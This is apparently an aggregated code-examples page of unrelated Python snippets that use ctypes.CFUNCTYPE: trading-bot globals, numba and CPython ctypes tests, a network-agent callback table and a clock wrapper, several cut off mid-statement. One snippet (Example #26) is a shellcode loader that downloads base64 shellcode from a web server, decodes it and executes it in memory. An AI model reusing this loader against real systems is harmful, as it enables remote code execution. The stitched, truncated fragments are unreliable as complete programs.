        self.cRetryDelay = 3000
        # HOOK
        exchanges = []
        i = 0
        for ele in task["Exchanges"]:
            exchanges.append(Exchange(lib, ctx, i, task["Options"], ele))
            i += 1

        for k in dir(self):
            if k.startswith('g_'):
                gApis[k[2:]] = getattr(self, k)

        self.realTime = time.time
        time.time = self.g_PyTime
        gApis['__name__'] = '__main__'
        gApis["TA"] = TAInstance(self._logTA)
        gApis['exchanges'] = exchanges
        gApis['exchange'] = exchanges[0]
        gApis['ext'] = Templates()
        gApis['time'] = time
        gApis['null'] = None
        gApis['true'] = True
        gApis['false'] = False
        gApis["ORDER_STATE_PENDING"] = 0
        gApis["ORDER_STATE_CLOSED"] = 1
        gApis["ORDER_STATE_CANCELED"] = 2
        gApis["ORDER_STATE_UNKNOWN"] = 3
        gApis["ORDER_TYPE_BUY"] = 0
        gApis["ORDER_TYPE_SELL"] = 1
        gApis["ORDER_OFFSET_OPEN"] = 0
        gApis["ORDER_OFFSET_CLOSE"] = 1

        gApis["PD_LONG"] = 0
        gApis["PD_SHORT"] = 1
        gApis["PD_LONG_YD"] = 2
        gApis["PD_SHORT_YD"] = 3

        gApis["LOG_TYPE_BUY"] = 0
        gApis["LOG_TYPE_SELL"] = 1
        gApis["LOG_TYPE_CANCEL"] = 2
        gApis["LOG_TYPE_ERROR"] = 3
        gApis["LOG_TYPE_PROFIT"] = 4
        gApis["LOG_TYPE_LOG"] = 5
        gApis["LOG_TYPE_RESTART"] = 6

        gApis["PERIOD_M1"] = 60000 * 1
        gApis["PERIOD_M3"] = 60000 * 3
        gApis["PERIOD_M5"] = 60000 * 5
        gApis["PERIOD_M15"] = 60000 * 15
        gApis["PERIOD_M30"] = 60000 * 30
        gApis["PERIOD_H1"]  = 60000 * 60
        gApis["PERIOD_D1"]  = 60000 * 60 * 24
        gApis["PERIOD_W1"]  = 60000 * 60 * 24  * 7
        if autoRun:
            try:
                gApis['main']()
            except EOFError:
                pass
            self.Join()
Example #25
0
import ctypes

import llvm.core as lc
import llvm.ee as le

from numba.llvm_types import _int32, _numpy_array, _head_len
import numba.multiarray_api as ma

import numpy as np

import unittest

# ______________________________________________________________________

_pyobj_to_pyobj = ctypes.CFUNCTYPE(ctypes.py_object, ctypes.py_object)

# ______________________________________________________________________


class TestMultiarrayAPI(unittest.TestCase):
    def test_call_PyArray_Zeros(self):
        ma_obj = ma.MultiarrayAPI()
        module = lc.Module.new('test_module')
        ma_obj.set_PyArray_API(module)
        test_fn = module.add_function(
            lc.Type.function(_numpy_array, [_numpy_array]), 'test_fn')
        bb = test_fn.append_basic_block('entry')
        builder = lc.Builder.new(bb)
        pyarray_zeros = ma_obj.load_PyArray_Zeros(module, builder)
        arg = test_fn.args[0]
Example #26
0
import urllib2 
import ctypes
import base64

#retrieve the shellcode from our web server 
url = "http://localhost:8000/shellcode.bin"
response = urllib2.urlopen(url)

#decode the shellcode from base64
shellcode_buffer = base64.b64decode(response.read())

#create a function pointer to out shellcode 
shellcode_func  = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE
                              (ctypes.c_void_p))

#call our shellcode
shellcode_func()
# Constants defining callback registration
INIT = 0x1
RELEASE = 0x2
DISCONNECTED = 0x3
CELL_SETUP_REQUEST = 0x4
ENB_SETUP_REQUEST = 0x5
UE_REPORT = 0x6
UE_MEASURE = 0x7
HANDOVER_UE = 0x8
CELL_MEASURE = 0x9

# Common Agent operations types

#  int init(void)
_INIT = ct.CFUNCTYPE(ct.c_int)

# int release(void)
_RELEASE = ct.CFUNCTYPE(ct.c_int)

# int disconnected(void)
_DISCONNECTED = ct.CFUNCTYPE(ct.c_int)

# int enb_setup_request(uint32_t mod)
_ENB = ct.CFUNCTYPE(ct.c_int, ct.c_uint32)

# int ue_report(uint32_t mod, int trig_id)
_UEREPORT = ct.CFUNCTYPE(ct.c_int, ct.c_uint32, ct.c_int)

# int ue_measure(...)
_UEMEASURE = ct.CFUNCTYPE(
import unittest
import ctypes
import gc

MyCallback = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int)
OtherCallback = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int,
                                 ctypes.c_ulonglong)

import _ctypes_test

dll = ctypes.CDLL(_ctypes_test.__file__)


class RefcountTestCase(unittest.TestCase):
    def test_1(self):
        from sys import getrefcount as grc

        f = dll._testfunc_callback_i_if
        f.restype = ctypes.c_int
        f.argtypes = [ctypes.c_int, MyCallback]

        def callback(value):
            #print "called back with", value
            return value

        self.assertEqual(grc(callback), 2)
        cb = MyCallback(callback)

        self.assertTrue(grc(callback) > 2)
        result = f(-10, cb)
        self.assertEqual(result, -18)
Example #29
0
# ****************************************************************************
# -*- coding: utf-8 -*-
"""Module for init environment."""

import sys
sys.path = [path for path in sys.path if "python2.7" not in path]

import os
import importlib
import time
import threading
import ctypes

from google.protobuf.descriptor_pb2 import FileDescriptorProto

PY_CALLBACK_TYPE = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_char_p)
PY_CALLBACK_TYPE_T = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_char_p)

# init vars
CYBER_PATH = os.environ['CYBER_PATH']
CYBER_DIR = os.path.split(CYBER_PATH)[0]
sys.path.append(CYBER_PATH + "/third_party/")
sys.path.append(CYBER_PATH + "/lib/")
sys.path.append(CYBER_PATH + "/python/cyber")
sys.path.append(CYBER_PATH + "/python/cyber_py")

sys.path.append(CYBER_PATH + "/lib/python/")

sys.path.append(CYBER_DIR + "/python/")
sys.path.append(CYBER_DIR + "/cyber/")
Example #30
0
See also clock_getres(2), clock_gettime(2), and clock_settime(2).
'''

import ctypes
from ctypes import c_long, c_int
import os

__all__ = ['getres', 'gettime', 'settime', 'combine']

__author__ = 'Brandon Carpenter <*****@*****.**>'
__version__ = '1.0'

try:
    _librt = ctypes.CDLL('librt.so.1')
    _getres = ctypes.CFUNCTYPE(c_int, c_int, c_long * 2, use_errno=True)(
        ('clock_getres', _librt), ((1, None, 0), (2, )))
    _gettime = ctypes.CFUNCTYPE(c_int, c_int, c_long * 2, use_errno=True)(
        ('clock_gettime', _librt), ((1, None, 0), (2, )))
    _settime = ctypes.CFUNCTYPE(c_int, c_int, c_long * 2, use_errno=True)(
        ('clock_settime', _librt), ((1, None, 0), (1, )))
except (OSError, AttributeError) as e:
    raise ImportError(*e.args)


def _errcheck(result, func, args):
    if result:
        errnum = ctypes.get_errno()
        raise OSError(errnum, os.strerror(errnum))
    if func is not _settime:
        return tuple(args[1])